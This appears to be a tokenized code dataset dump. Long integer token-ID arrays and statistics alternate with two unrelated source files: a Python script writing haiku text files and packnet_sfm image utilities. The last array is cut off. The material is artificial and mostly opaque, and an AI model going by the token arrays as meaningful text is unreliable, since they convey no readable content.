220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 412, 80, 22, 40792, 43095, 162, 233, 105, 20998, 115, 34932, 234, 21410, 20998, 254, 27950, 254, 6624, 35421, 270, 40792, 44, 10310, 103, 7397, 21410, 165, 246, 119, 162, 232, 245, 43380, 117, 12859, 236, 22522, 252, 32849, 101, 21410, 164, 112, 94, 163, 234, 106, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 14323, 5039, 62, 57, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3463, 62, 3258, 796, 352, 1220, 357, 37659, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 12429, 362, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 3348, 16, 12, 36, 80, 767, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 11052, 12331, 25, 4634, 281, 7177, 5002, 351, 257, 8379, 13, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12820, 796, 45941, 13, 16345, 7, 6551, 62, 3258, 1635, 357, 944, 13, 89, 62, 3258, 13, 5305, 532, 2116, 13, 89, 62, 14323, 62, 3258, 13, 5305, 4008, 1220, 45941, 13, 16345, 7, 6551, 62, 3258, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1845, 64, 62, 3258, 58, 15, 60, 796, 12820, 628, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 2116, 13, 11147, 62, 4906, 6624, 705, 41887, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 317, 62, 16340, 796, 45941, 13, 75, 1292, 70, 13, 16340, 7, 8491, 13, 51, 13, 26518, 7, 8491, 8, 1343, 36223, 13, 51, 13, 26518, 7, 49945, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 575, 796, 4231, 13, 51, 13, 26518, 7, 944, 13, 89, 62, 3258, 13, 5305, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 4008, 1343, 36223, 13, 51, 13, 26518, 7, 944, 13, 89, 62, 3258, 13, 48466, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1845, 64, 62, 3258, 796, 317, 62, 16340, 13, 26518, 7, 56, 8, 628, 220, 220, 220, 825, 29308, 62, 85, 519, 270, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5525, 123, 247, 34932, 234, 21410, 53, 519, 270, 42468, 163, 118, 107, 21410, 12820, 1343, 337, 1635, 13987, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 31273, 796, 2116, 13, 1845, 64, 62, 3258, 58, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 44, 62, 49, 62, 3258, 796, 2116, 13, 1845, 64, 62, 3258, 58, 16, 25, 2116, 13, 44, 10, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 1976, 62, 85, 519, 270, 62, 3258, 796, 45941, 13, 28920, 7, 43358, 16193, 944, 13, 44, 11, 2116, 13, 86, 62, 3258, 13, 7857, 828, 288, 4906, 28, 41887, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 1168, 286, 337, 13987, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 11, 371, 287, 27056, 378, 7, 944, 13, 44, 62, 49, 62, 3258, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1976, 62, 7397, 62, 3258, 796, 13987, 7, 1845, 64, 62, 3258, 28, 37659, 13, 18747, 26933, 49, 11, 2116, 13, 83, 5488, 62, 3258, 58, 72, 11907, 828, 266, 62, 3258, 28, 944, 13, 86, 62, 3258, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1976, 62, 85, 519, 270, 62, 3258, 58, 72, 11, 1058, 60, 796, 1976, 62, 7397, 62, 3258, 198, 220, 220, 220, 220, 220, 220, 220, 1976, 62, 85, 519, 270, 62, 3258, 796, 1976, 62, 85, 519, 270, 62, 3258, 13, 16345, 7, 22704, 28, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1976, 62, 85, 519, 270, 62, 3258, 15853, 2116, 13, 31273, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1976, 62, 85, 519, 270, 62, 3258, 628, 220, 220, 220, 825, 2386, 62, 411, 312, 723, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 10545, 234, 231, 163, 227, 100, 20189, 15, 12, 36, 80, 1315, 290, 412, 80, 1467, 198, 220, 220, 220, 220, 220, 220, 220, 29598, 62, 3258, 796, 1168, 62, 3258, 532, 1168, 62, 14323, 62, 3258, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 14323, 5039, 62, 57, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1976, 62, 8937, 62, 3258, 796, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 411, 312, 723, 62, 3258, 796, 357, 944, 13, 89, 62, 3258, 532, 2116, 13, 89, 62, 14323, 62, 3258, 8, 1220, 1976, 62, 8937, 62, 3258, 628, 220, 220, 220, 825, 29598, 62, 14269, 2569, 7, 944, 11, 2099, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 10545, 230, 239, 22522, 248, 20046, 231, 26193, 94, 34932, 237, 162, 106, 233, 32432, 106, 21410, 49035, 254, 163, 100, 235, 22522, 21253, 229, 237, 43718, 229, 49035, 228, 171, 120, 249, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 352, 10545, 106, 233, 32432, 106, 21410, 163, 119, 251, 43380, 117, 161, 222, 120, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10263, 106, 252, 32849, 101, 162, 106, 233, 32432, 106, 21410, 163, 119, 251, 43380, 117, 161, 222, 120, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5525, 247, 21253, 225, 101, 162, 106, 233, 32432, 106, 21410, 163, 119, 251, 43380, 117, 161, 222, 120, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 362, 10545, 106, 233, 32432, 106, 21410, 10263, 117, 111, 43095, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10263, 106, 252, 32849, 101, 162, 106, 233, 32432, 106, 21410, 10263, 117, 111, 43095, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5525, 247, 21253, 225, 101, 162, 106, 233, 32432, 106, 21410, 10263, 117, 111, 43095, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2099, 25, 965, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 8937, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 23415, 6, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 9948, 62, 411, 312, 723, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2099, 6624, 705, 8937, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 29598, 62, 5305, 62, 8937, 62, 3258, 796, 45941, 13, 8937, 7, 944, 13, 411, 312, 723, 62, 3258, 13, 5305, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 29598, 62, 48466, 62, 397, 67, 62, 3258, 796, 45941, 13, 8937, 7, 944, 13, 411, 312, 723, 62, 3258, 13, 48466, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 29598, 62, 5305, 62, 8937, 62, 3258, 11, 29598, 62, 48466, 62, 397, 67, 62, 3258, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 2099, 6624, 705, 23415, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 29598, 62, 5305, 62, 23415, 62, 3258, 796, 2116, 13, 411, 312, 723, 62, 3258, 13, 5305, 12429, 362, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 29598, 62, 48466, 62, 23415, 62, 3258, 796, 2116, 13, 411, 312, 723, 62, 3258, 13, 48466, 12429, 362, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 29598, 62, 5305, 62, 23415, 62, 3258, 11, 29598, 62, 48466, 62, 23415, 62, 3258, 628, 220, 220, 220, 825, 2386, 62, 11072, 48011, 7, 944, 11, 3463, 62, 4906, 11639, 4666, 23515, 6, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5525, 123, 247, 34932, 234, 38834, 47797, 121, 162, 234, 231, 163, 227, 100, 57, 8890, 79, 16643, 21410, 43095, 28156, 237, 164, 106, 94, 163, 106, 245, 171, 120, 234, 32368, 254, 57, 8890, 79, 16643, 21410, 43095, 28156, 237, 164, 106, 94, 163, 106, 245, 10545, 114, 231, 20998, 232, 26344, 108, 13182, 44, 40792, 20998, 224, 46763, 108, 21410, 46763, 108, 34932, 237, 171, 120, 234, 26344, 254, 165, 247, 97, 163, 224, 117, 30298, 235, 28938, 236, 21410, 2943, 44, 20998, 107, 47797, 121, 38834, 31660, 43718, 115, 171, 120, 234, 162, 110, 94, 37345, 243, 164, 106, 94, 163, 106, 245, 198, 220, 220, 220, 220, 220, 220, 220, 10545, 243, 227, 20998, 103, 47797, 121, 162, 234, 231, 163, 227, 100, 33166, 48011, 796, 3463, 1635, 685, 5008, 110, 3041, 1174, 17, 1343, 11019, 110, 3546, 1174, 17, 60, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 14323, 5039, 62, 57, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 611, 3463, 62, 4906, 6624, 705, 4666, 23515, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11072, 62, 23415, 796, 2386, 62, 1925, 72, 48011, 62, 15, 7, 89, 62, 3258, 28, 944, 13, 89, 62, 3258, 11, 1976, 62, 14323, 62, 3258, 28, 944, 13, 89, 62, 14323, 62, 3258, 11, 3463, 62, 4906, 28, 6551, 62, 4906, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 11072, 62, 23415, 198, 198, 2, 20368, 438, 6208, 35421, 270, 62, 18, 319, 5164, 12, 16601, 12, 3109, 16, 62, 40347, 62, 2435, 62, 16340, 2743, 415, 20368, 438, 198, 2, 352, 12, 3440, 1366, 198, 2, 4197, 62, 4906, 796, 705, 5305, 6, 198, 2, 4197, 62, 4906, 796, 705, 48466, 6, 198, 2, 4197, 62, 4906, 796, 705, 41887, 6, 198, 198, 2, 9195, 62, 411, 62, 46428, 796, 705, 40720, 37390, 62, 9288, 14, 73, 929, 88, 353, 62, 8189, 14, 26145, 79, 62, 16624, 14, 17, 14, 20688, 62, 7890, 62, 28709, 14, 40347, 62, 411, 6, 198, 2, 611, 4197, 62, 4906, 6624, 705, 41887, 10354, 198, 2, 220, 220, 220, 220, 409, 16, 62, 7890, 62, 11600, 796, 45941, 13, 2220, 7, 418, 13, 6978, 13, 22179, 7, 8019, 62, 411, 62, 46428, 11, 705, 3109, 16, 62, 40347, 62, 2435, 62, 16340, 2743, 415, 62, 411, 13, 37659, 89, 6, 4008, 198, 2, 1288, 361, 4197, 62, 4906, 6624, 705, 5305, 10354, 198, 2, 220, 220, 220, 220, 409, 16, 62, 7890, 62, 11600, 796, 45941, 13, 2220, 7, 418, 13, 6978, 13, 22179, 7, 8019, 62, 411, 62, 46428, 11, 705, 3109, 16, 62, 40347, 62, 2435, 62, 16340, 2743, 415, 62, 5305, 62, 2860, 34, 62, 411, 13, 37659, 89, 6, 4008, 198, 2, 1288, 361, 4197, 62, 4906, 6624, 705, 48466, 10354, 198, 2, 220, 220, 220, 220, 409, 16, 62, 7890, 62, 11600, 796, 45941, 13, 2220, 7, 418, 13, 6978, 13, 22179, 7, 8019, 62, 411, 62, 46428, 11, 705, 3109, 16, 62, 40347, 62, 2435, 62, 16340, 2743, 415, 62, 48466, 62, 2860, 34, 62, 411, 13, 37659, 89, 6, 4008, 198, 198, 2, 409, 16, 62, 89, 62, 3258, 796, 409, 16, 62, 7890, 62, 11600, 17816, 89, 62, 3258, 20520, 198, 2, 409, 16, 62, 69, 62, 3258, 796, 409, 16, 62, 7890, 62, 11600, 17816, 19503, 20520, 198, 2, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 3258, 796, 409, 16, 62, 7890, 62, 11600, 17816, 89, 62, 14323, 20520, 198, 2, 409, 16, 62, 5305, 62, 411, 312, 723, 62, 3258, 796, 409, 16, 62, 7890, 62, 11600, 17816, 5305, 62, 411, 312, 723, 20520, 198, 2, 409, 16, 62, 48466, 62, 411, 312, 723, 62, 3258, 796, 409, 16, 62, 7890, 62, 11600, 17816, 48466, 62, 411, 312, 723, 20520, 198, 198, 2, 409, 16, 62, 1797, 796, 3180, 62, 15, 3419, 198, 2, 409, 16, 62, 1797, 13, 1831, 62, 89, 62, 3258, 796, 409, 16, 62, 89, 62, 3258, 198, 2, 409, 16, 62, 1797, 13, 11201, 62, 20337, 796, 352, 13, 15, 198, 2, 409, 16, 62, 1797, 13, 89, 62, 3258, 796, 409, 16, 62, 89, 62, 3258, 198, 2, 409, 16, 62, 1797, 13, 19503, 62, 3258, 796, 409, 16, 62, 69, 62, 3258, 198, 2, 409, 16, 62, 1797, 13, 86, 62, 3258, 796, 409, 16, 62, 1797, 13, 19503, 62, 3258, 1635, 362, 1635, 10688, 13, 14415, 198, 198, 2, 220, 24305, 1103, 25048, 220, 24305, 198, 2, 409, 16, 62, 85, 519, 270, 796, 35421, 270, 62, 18, 7, 11011, 5248, 28, 1069, 16, 62, 1797, 11, 4197, 62, 4906, 28, 11147, 62, 4906, 11, 751, 62, 34, 28, 17821, 8, 198, 2, 409, 16, 62, 85, 519, 270, 13, 2815, 62, 16601, 3419, 198, 2, 1303, 8996, 299, 88, 30062, 21528, 286, 6579, 12, 14993, 12, 16601, 290, 11517, 198, 2, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 4868, 796, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 3258, 13, 83, 349, 396, 3419, 198, 2, 409, 16, 62, 85, 519, 270, 13, 14323, 5039, 62, 57, 3419, 198, 2, 1976, 62, 8002, 62, 4868, 796, 685, 1069, 16, 62, 89, 62, 3258, 13, 83, 349, 396, 22784, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 4868, 11, 409, 16, 62, 85, 519, 270, 13, 89, 62, 14323, 62, 3258, 13, 83, 349, 396, 3419, 60, 198, 2, 299, 88, 30062, 62, 41684, 3646, 1747, 62, 16, 7, 89, 62, 8002, 62, 4868, 28, 89, 62, 8002, 62, 4868, 11, 2124, 62, 2475, 41888, 15, 13, 25150, 11, 657, 13, 40350, 4357, 331, 62, 2475, 41888, 15, 11, 657, 13, 2999, 4357, 7110, 62, 18242, 62, 4868, 28, 17816, 7390, 2287, 3180, 3256, 705, 5653, 12, 5305, 12, 31805, 41707, 24461, 12, 5305, 12, 31805, 6, 12962, 198, 2, 220, 24305, 1103, 25048, 220, 24305, 198, 198, 2, 220, 24305, 3590, 25048, 220, 24305, 198, 2, 409, 16, 62, 85, 519, 270, 796, 35421, 270, 62, 18, 7, 11011, 5248, 28, 1069, 16, 62, 1797, 11, 4197, 62, 4906, 28, 11147, 62, 4906, 11, 751, 62, 34, 28, 17821, 8, 198, 2, 409, 16, 62, 85, 519, 270, 13, 2815, 62, 16601, 3419, 198, 2, 1303, 8996, 299, 88, 30062, 21528, 286, 6579, 12, 14993, 12, 16601, 290, 11517, 198, 2, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 4868, 796, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 3258, 13, 83, 349, 396, 3419, 198, 2, 409, 16, 62, 85, 519, 270, 13, 14323, 5039, 62, 57, 3419, 198, 2, 1976, 62, 8002, 62, 4868, 796, 685, 1069, 16, 62, 89, 62, 3258, 13, 83, 349, 396, 22784, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 4868, 11, 409, 16, 62, 85, 519, 270, 13, 89, 62, 14323, 62, 3258, 13, 83, 349, 396, 3419, 60, 198, 2, 299, 88, 30062, 62, 41684, 3646, 1747, 62, 16, 7, 89, 62, 8002, 62, 4868, 28, 89, 62, 8002, 62, 4868, 11, 2124, 62, 2475, 41888, 15, 13, 25150, 11, 657, 13, 40350, 4357, 331, 62, 2475, 41888, 15, 11, 657, 13, 2999, 4357, 7110, 62, 18242, 62, 4868, 28, 17816, 7390, 2287, 3180, 3256, 705, 5653, 12, 48466, 12, 31805, 41707, 24461, 12, 48466, 12, 31805, 6, 12962, 198, 2, 220, 24305, 3590, 25048, 220, 24305, 198, 198, 2, 220, 24305, 19157, 25048, 220, 24305, 198, 2, 409, 16, 62, 85, 519, 270, 796, 35421, 270, 62, 18, 7, 11011, 5248, 28, 1069, 16, 62, 1797, 11, 751, 62, 34, 28, 17821, 8, 198, 2, 409, 16, 62, 85, 519, 270, 13, 2815, 62, 16601, 3419, 198, 2, 1303, 8996, 299, 88, 30062, 21528, 286, 6579, 12, 14993, 12, 16601, 290, 11517, 198, 2, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 4868, 796, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 3258, 13, 83, 349, 396, 3419, 198, 2, 409, 16, 62, 85, 519, 270, 13, 14323, 5039, 62, 57, 3419, 198, 2, 1976, 62, 8002, 62, 4868, 796, 685, 1069, 16, 62, 89, 62, 3258, 13, 83, 349, 396, 22784, 409, 16, 62, 89, 62, 5653, 62, 14323, 62, 4868, 11, 409, 16, 62, 85, 519, 270, 13, 89, 62, 14323, 62, 3258, 13, 83, 349, 396, 3419, 60, 198, 2, 299, 88, 30062, 62, 41684, 3646, 1747, 62, 16, 7, 89, 62, 8002, 62, 4868, 28, 89, 62, 8002, 62, 4868, 11, 2124, 62, 2475, 41888, 15, 13, 25150, 11, 657, 13, 40350, 4357, 331, 62, 2475, 41888, 15, 11, 657, 13, 2999, 4357, 7110, 62, 18242, 62, 4868, 28, 17816, 7390, 2287, 3180, 3256, 705, 5653, 12, 31805, 41707, 24461, 12, 31805, 6, 12962, 198, 2, 220, 24305, 19157, 25048, 220, 24305, 198, 2, 20368, 438, 6208, 35421, 270, 62, 16, 319, 5164, 12, 16601, 12, 3109, 16, 62, 40347, 62, 2435, 62, 16340, 2743, 415, 20368, 438 ]
1.616701
8,826
with open("haiku.txt", "w") as file: file.write("Writing files is great\n") file.write("Here's another line of text\n") file.write("Closing now, goodbye!") with open("haiku.txt", "w") as file: file.write("Here's one more haiku\n") file.write("What about the older one?\n") file.write("Let's go check it out") with open("lol.txt", "w") as file: file.write("lol" * 1000)
[ 4480, 1280, 7203, 3099, 28643, 13, 14116, 1600, 366, 86, 4943, 355, 2393, 25, 198, 220, 220, 220, 2393, 13, 13564, 7203, 33874, 3696, 318, 1049, 59, 77, 4943, 198, 220, 220, 220, 2393, 13, 13564, 7203, 4342, 338, 1194, 1627, 286, 2420, 59, 77, 4943, 198, 220, 220, 220, 2393, 13, 13564, 7203, 2601, 2752, 783, 11, 24829, 2474, 8, 198, 220, 220, 220, 220, 198, 4480, 1280, 7203, 3099, 28643, 13, 14116, 1600, 366, 86, 4943, 355, 2393, 25, 198, 220, 220, 220, 2393, 13, 13564, 7203, 4342, 338, 530, 517, 387, 28643, 59, 77, 4943, 198, 220, 220, 220, 2393, 13, 13564, 7203, 2061, 546, 262, 4697, 530, 30, 59, 77, 4943, 198, 220, 220, 220, 2393, 13, 13564, 7203, 5756, 338, 467, 2198, 340, 503, 4943, 198, 220, 220, 220, 220, 198, 4480, 1280, 7203, 47288, 13, 14116, 1600, 366, 86, 4943, 355, 2393, 25, 198, 220, 220, 220, 2393, 13, 13564, 7203, 47288, 1, 1635, 8576, 8 ]
2.506173
162
# Copyright 2020 Toyota Research Institute. All rights reserved. import cv2 import torch import torch.nn.functional as funct from functools import lru_cache from PIL import Image from packnet_sfm.utils.misc import same_shape def load_image(path): """ Read an image using PIL Parameters ---------- path : str Path to the image Returns ------- image : PIL.Image Loaded image """ # print("----------", path) return Image.open(path) def write_image(filename, image): """ Write an image to file. Parameters ---------- filename : str File where image will be saved image : np.array [H,W,3] RGB image """ cv2.imwrite(filename, image[:, :, ::-1]) def flip_lr(image): """ Flip image horizontally Parameters ---------- image : torch.Tensor [B,3,H,W] Image to be flipped Returns ------- image_flipped : torch.Tensor [B,3,H,W] Flipped image """ assert image.dim() == 4, 'You need to provide a [B,C,H,W] image to flip' return torch.flip(image, [3]) def flip_model(model, image, flip): """ Flip input image and flip output inverse depth map Parameters ---------- model : nn.Module Module to be used image : torch.Tensor [B,3,H,W] Input image flip : bool True if the flip is happening Returns ------- inv_depths : list of torch.Tensor [B,1,H,W] List of predicted inverse depth maps """ if flip: return [flip_lr(inv_depth) for inv_depth in model(flip_lr(image))] else: return model(image) ######################################################################################################################## def gradient_x(image): """ Calculates the gradient of an image in the x dimension Parameters ---------- image : torch.Tensor [B,3,H,W] Input image Returns ------- gradient_x : torch.Tensor [B,3,H,W-1] Gradient of image with respect to x """ return image[:, :, :, :-1] - image[:, :, :, 1:] def gradient_y(image): """ Calculates the gradient of an image in the y dimension Parameters ---------- image : torch.Tensor [B,3,H,W] Input image Returns ------- gradient_y : torch.Tensor [B,3,H-1,W] Gradient of image with respect to y """ return image[:, :, :-1, :] - image[:, :, 1:, :] ######################################################################################################################## def interpolate_image(image, shape, mode='bilinear', align_corners=True): """ Interpolate an image to a different resolution Parameters ---------- image : torch.Tensor [B,?,h,w] Image to be interpolated shape : tuple (H, W) Output shape mode : str Interpolation mode align_corners : bool True if corners will be aligned after interpolation Returns ------- image : torch.Tensor [B,?,H,W] Interpolated image """ # Take last two dimensions as shape if len(shape) > 2: shape = shape[-2:] # If the shapes are the same, do nothing if same_shape(image.shape[-2:], shape): return image else: # Interpolate image to match the shape return funct.interpolate(image, size=shape, mode=mode, align_corners=align_corners) def interpolate_scales(images, shape=None, mode='bilinear', align_corners=False): """ Interpolate list of images to the same shape Parameters ---------- images : list of torch.Tensor [B,?,?,?] Images to be interpolated, with different resolutions shape : tuple (H, W) Output shape mode : str Interpolation mode align_corners : bool True if corners will be aligned after interpolation Returns ------- images : list of torch.Tensor [B,?,H,W] Interpolated images, with the same resolution """ # If no shape is provided, interpolate to highest resolution if shape is None: shape = images[0].shape # Take last two dimensions as shape if len(shape) > 2: shape = shape[-2:] # Interpolate all images return [funct.interpolate(image, shape, mode=mode, align_corners=align_corners) for image in images] def match_scales(image, targets, num_scales, mode='bilinear', align_corners=True): """ Interpolate one image to produce a list of images with the same shape as targets Parameters ---------- image : torch.Tensor [B,?,h,w] Input image targets : list of torch.Tensor [B,?,?,?] Tensors with the target resolutions num_scales : int Number of considered scales mode : str Interpolation mode align_corners : bool True if corners will be aligned after interpolation Returns ------- images : list of torch.Tensor [B,?,?,?] List of images with the same resolutions as targets """ # For all scales images = [] image_shape = image.shape[-2:] for i in range(num_scales): target_shape = targets[i].shape # If image shape is equal to target shape if same_shape(image_shape, target_shape): images.append(image) else: # Otherwise, interpolate images.append(interpolate_image( image, target_shape, mode=mode, align_corners=align_corners)) # Return scaled images return images ######################################################################################################################## @lru_cache(maxsize=None) def meshgrid(B, H, W, dtype, device, normalized=False): """ Create meshgrid with a specific resolution Parameters ---------- B : int Batch size H : int Height size W : int Width size dtype : torch.dtype Meshgrid type device : torch.device Meshgrid device normalized : bool True if grid is normalized between -1 and 1 Returns ------- xs : torch.Tensor [B,1,W] Meshgrid in dimension x ys : torch.Tensor [B,H,1] Meshgrid in dimension y """ if normalized: xs = torch.linspace(-1, 1, W, device=device, dtype=dtype) ys = torch.linspace(-1, 1, H, device=device, dtype=dtype) else: xs = torch.linspace(0, W-1, W, device=device, dtype=dtype) ys = torch.linspace(0, H-1, H, device=device, dtype=dtype) ys, xs = torch.meshgrid([ys, xs]) return xs.repeat([B, 1, 1]), ys.repeat([B, 1, 1]) @lru_cache(maxsize=None) def image_grid(B, H, W, dtype, device, normalized=False): """ Create an image grid with a specific resolution Parameters ---------- B : int Batch size H : int Height size W : int Width size dtype : torch.dtype Meshgrid type device : torch.device Meshgrid device normalized : bool True if grid is normalized between -1 and 1 Returns ------- grid : torch.Tensor [B,3,H,W] Image grid containing a meshgrid in x, y and 1 """ xs, ys = meshgrid(B, H, W, dtype, device, normalized=normalized) ones = torch.ones_like(xs) grid = torch.stack([xs, ys, ones], dim=1) return grid ########################################################################################################################
[ 2, 15069, 12131, 20182, 4992, 5136, 13, 220, 1439, 2489, 10395, 13, 198, 198, 11748, 269, 85, 17, 198, 11748, 28034, 198, 11748, 28034, 13, 20471, 13, 45124, 355, 1257, 310, 198, 6738, 1257, 310, 10141, 1330, 300, 622, 62, 23870, 198, 6738, 350, 4146, 1330, 7412, 198, 198, 6738, 2353, 3262, 62, 28202, 76, 13, 26791, 13, 44374, 1330, 976, 62, 43358, 628, 198, 4299, 3440, 62, 9060, 7, 6978, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4149, 281, 2939, 1262, 350, 4146, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 3108, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 10644, 284, 262, 2939, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 2939, 1058, 350, 4146, 13, 5159, 198, 220, 220, 220, 220, 220, 220, 220, 42485, 2939, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 3601, 7203, 35937, 1600, 3108, 8, 198, 220, 220, 220, 1441, 7412, 13, 9654, 7, 6978, 8, 628, 198, 4299, 3551, 62, 9060, 7, 34345, 11, 2939, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 19430, 281, 2939, 284, 2393, 13, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 29472, 1058, 965, 198, 220, 220, 220, 220, 220, 220, 220, 9220, 810, 2939, 481, 307, 7448, 198, 220, 220, 220, 2939, 1058, 45941, 13, 18747, 685, 39, 11, 54, 11, 18, 60, 198, 220, 220, 220, 220, 220, 220, 220, 25228, 2939, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 269, 85, 17, 13, 320, 13564, 7, 34345, 11, 2939, 58, 45299, 1058, 11, 7904, 12, 16, 12962, 628, 198, 4299, 14283, 62, 14050, 7, 9060, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 29583, 2939, 36774, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 2939, 1058, 28034, 13, 51, 22854, 685, 33, 11, 18, 11, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 7412, 284, 307, 26157, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 2939, 62, 2704, 3949, 1058, 28034, 13, 51, 22854, 685, 33, 11, 18, 11, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 1610, 3949, 2939, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 6818, 2939, 13, 27740, 3419, 6624, 604, 11, 705, 1639, 761, 284, 2148, 257, 685, 33, 11, 34, 11, 39, 11, 54, 60, 2939, 284, 14283, 6, 198, 220, 220, 220, 1441, 28034, 13, 2704, 541, 7, 9060, 11, 685, 18, 12962, 198, 198, 4299, 14283, 62, 19849, 7, 19849, 11, 2939, 11, 14283, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 29583, 5128, 2939, 290, 14283, 5072, 34062, 6795, 3975, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 2746, 1058, 299, 77, 13, 26796, 198, 220, 220, 220, 220, 220, 220, 220, 19937, 284, 307, 973, 198, 220, 220, 220, 2939, 1058, 28034, 13, 51, 22854, 685, 33, 11, 18, 11, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 23412, 2939, 198, 220, 220, 220, 14283, 1058, 20512, 198, 220, 220, 220, 220, 220, 220, 220, 6407, 611, 262, 14283, 318, 5836, 628, 220, 220, 220, 16409, 198, 220, 220, 220, 35656, 198, 220, 220, 220, 800, 62, 10378, 9998, 1058, 1351, 286, 28034, 13, 51, 22854, 685, 33, 11, 16, 11, 39, 11, 54, 60, 198, 220, 220, 220, 220, 220, 220, 220, 7343, 286, 11001, 34062, 6795, 8739, 